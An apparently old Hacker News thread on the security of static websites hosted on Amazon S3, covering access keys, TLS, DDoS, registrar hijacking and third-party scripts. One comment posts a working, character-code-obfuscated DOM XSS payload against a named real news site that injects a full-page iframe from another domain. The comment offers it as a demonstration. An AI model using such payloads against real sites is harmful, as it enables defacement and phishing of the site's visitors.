13 ms·
Not through a web application vulnerability it can't (there is no application code to break!). Your biggest issues with that setup will be: 1. Credential and
by dguido 11y ago
Not through a web application vulnerability it can't (there is no application code to break!).
Your biggest issues with that setup will be:
1. Credential and permissions management. Don't lose control of your access keys to AWS! Set up "MFA" at the very least. If you use your AWS account for other purposes, use IAM to ensure that other users cannot access the S3 bucket with the site in it.
2. Getting that green lock (e.g. HTTPS). You can pay $800/month or something insane to Cloudfront to get a custom TLS cert on their CDN, or you can get Cloudflare's "universal ssl" for $20.
3. DDoS is not really a concern. It would be nearly impossible to DDoS an HTML-only website hosted in an S3 bucket. I'd really like to see someone try. The only thing that could happen is you get charged a bit more that month while people are DDoS'ing you. But if you're behind a CDN like Cloudfront or Cloudflare (which can cache everything because it's plain HTML), then the impact would be reduced.
4. Your Registrar suddenly becomes a huge risk. Make sure you use a secure domain registrar (ie. NOT GODADDY!), that the registrar has a "Registrar-Lock" turned on for your domain, and that your account with them has 2FA. If you screw that up, then someone might be able to socially engineer the phone rep at the registrar to transfer the domain, change the nameservers, etc. This happens depressingly often.
5. 3rd party services you use could get hacked. You'll likely import a bunch of JavaScript from other websites onto your own. If any of those websites get compromised, it might affect your website too. Make sure to use 2FA on every service you can (https://twofactorauth.org/ https://twofactorauth.org/) and minimize the amount of JavaScript/fonts/css/whatever that you load from 3rd parties (re-host it locally).
I highly recommend setting up websites this way. It's fast, easy to maintain, and incredibly secure. We do this for the trailofbits.com website and we're very happy with it. Jekyll FTW.
ps. don't forget you can use Github Pages too.
- Gigablah 11y agoA custom TLS cert for Cloudfront costs $600/month. And that's just to deploy it, you still have to buy the cert yourself.
- imperalix 11y agoSNI only distributions don't cost $600/month.
- jaggederest 11y agoThere are various other ways you could alter a static website too - leaving aside client-side stuff like malware, you could DNS hijack or MITM it with a bogus cert.
- dguido 11y agoOP mentioned they had a dedicated computer, so I ignored endpoint security issues. DNS hijacking and other firms of network MITM are a risk, sure, but they are so incredibly rare to see in the wild that it's outside the scope of most people's concerns. "Normal" attackers generally can't pull it off.
- rsync 11y ago"Not through a web application vulnerability it can't (there is no application code to break!)." This isn't true. Data is being served up to web browsers over port 80. That's a web server. It might not be like any web server you've ever run ... it might not be apache or thttpd or zeus or whatever ... but there is code that is spitting out HTTP over port 80/443. That's a web server. So let's say the S3 data is immutable, as far as the "web server" and the attacker are concerned ... that's very nice, of course, but if you have control over the web server, instead of parlaying that into control over the underlying data, just tell the web server to spit out other data. The S3 content is still safe and unchanged, but your website is nicely defaced, since your "amazon s3 webserver" exploit is just feeding it new content. (drastically oversimplified, of course - but be clear, if there is a web server (and there is) there is web-server-attack-surface)
- dguido 11y agoNo one has the source or binary code for the webserver AWS uses. It would be nearly impossible to write an exploit for it blind like that. Even if you did write it blind, it would be a slow process that likely requires bruteforcing parts of the address space and there is no way you could do it without alerting Amazon. tl;dr what you described is possible, I guess, but so incredibly unlikely it's not even worth thinking about.
- morgante 11y agoNobody has the source or binary code for dozens of proprietary systems which get hacked on a regular basis. In fact, I'd argue that most prominent hacks are of systems which are not open source.
- ossreality 11y agoAnd are probably, for example, IIS which I can at least open in a debugger or hexedit and look at. Some very-proprietary service serving S3 content? Yeah, right.
- rsync 11y ago
- kalleboo 11y agoRe: 2. Uploading an SSL cert and using it on CloudFront is free, as long as you're fine with it requiring SNI. CloudFlare "Universal SSL" also requires SNI. The $600/mo thing is if you want dedicated IPs at all their endpoints.
- evandrix 11y ago"Not through a web application vulnerability it can't (there is no application code to break!)." eg. metadata in images can contain executable code
- geofft 11y agoNot intentionally-executable code, and unintentionally-executable code (i.e. exploits in image renderers) would affect the client, not the server, which isn't the direction we're concerned about. If the server transcodes images, then yes, it should do the transcoding in a throwaway sandbox that outputs some hard-to-misparse intermediate format like a raw pixel array. But S3 doesn't do transcoding.
- vacri 11y ago> Make sure you use a secure domain registrar AWS now resells domains from a selection of TLDs (generally the most common ones). They've partnered with gandi.net, who does the backend registrar stuff, but you can do it all from the Route53 AWS console. Means you can keep everything all in one place.
- robwormald 11y agoMy parent's business got nailed by #4, and its been an unbelievable nightmare dealing with. Any suggestions on secure domain registrars?
- kirushik 11y agoGandi works reasonably good for me. AFAIR, it's also under French jurisdiction, not a US one. (This might be good in case of fake DMCA takedowns, but also bad in some other cases...)
- lmm 11y agoI've heard Gandi recommended against since they have a morality clause in their ToS.
- brianwawok 11y agoIf you are selling peaches or dogfood, does it matter?
- lmm 11y agoIf you are selling peaches or dogfood you don't care about any of the stuff in this whole thread - who's even going to attack you? The organizations that have to worry about this stuff are those who are doing something controversial.
- kirushik 11y agoOr just having some really reckless competitors. Uber-vs-Lyft style reckless.
- nilsjuenemann 11y agoThat isn't true. Every static website could be vulnerable through DOM XSS. In this case the integrity of the site is violated. PoC: http://bit.ly/1S834lS http://bit.ly/1S834lS - redirects to http://www.heute.de/#"><img http://www.heute.de/#"><img src=x onerror=document.write(String.fromCharCode(60,105,102,114,97,109,101, 32,115,114,99,61,34,104,116,116,112,58,47,47,99,97,116, 46,119,119,119,46,104,101,117,116,101,46,100,101,46,109,101,111,119, 98,105,102,121,46,99,111,109,47,34,32,115,116,121,108,101,61,34,98, 111,114,100,101,114,58,32,48,59,32,119,105,100,116,104,58,32,49,48, 48,37,59,32,104,101,105,103,104,116,58,32,49,48,48,37,59,32,109,97, 114,103,105,110,58,32,45,56,112,120,59,112,111,115,105,116,105,111, 110,58,32,97,98,115,111,108,117,116,101,59,34,62))> We just inject a iframe through the onerror handler of the <img> tag: <iframe src="http://cat.www.heute.de.meowbify.com/" http://cat.www.heute.de.meowbify.com/" style="border: 0; width: 100%; height: 100%; margin: -8px;position: absolute;"></iframe> In this case the site is using a outdated jQuery version, which is vulnerable to this kind of attack. http://bugs.jquery.com/ticket/9521 http://bugs.jquery.com/ticket/9521
- mcintyre1994 11y agoHey, would you mind splitting that line up a bit? It's screwing with the layout and making a lot of comments really wide. Edit: Thanks :)
- liviu- 11y agoSounds like a bug in HN layout. One fix is setting ".default" a `max-width` attribute, and ".comment { overflow-wrap: break-word; }`. User styles managers can fix this per user, but I sent HN an email to let them know.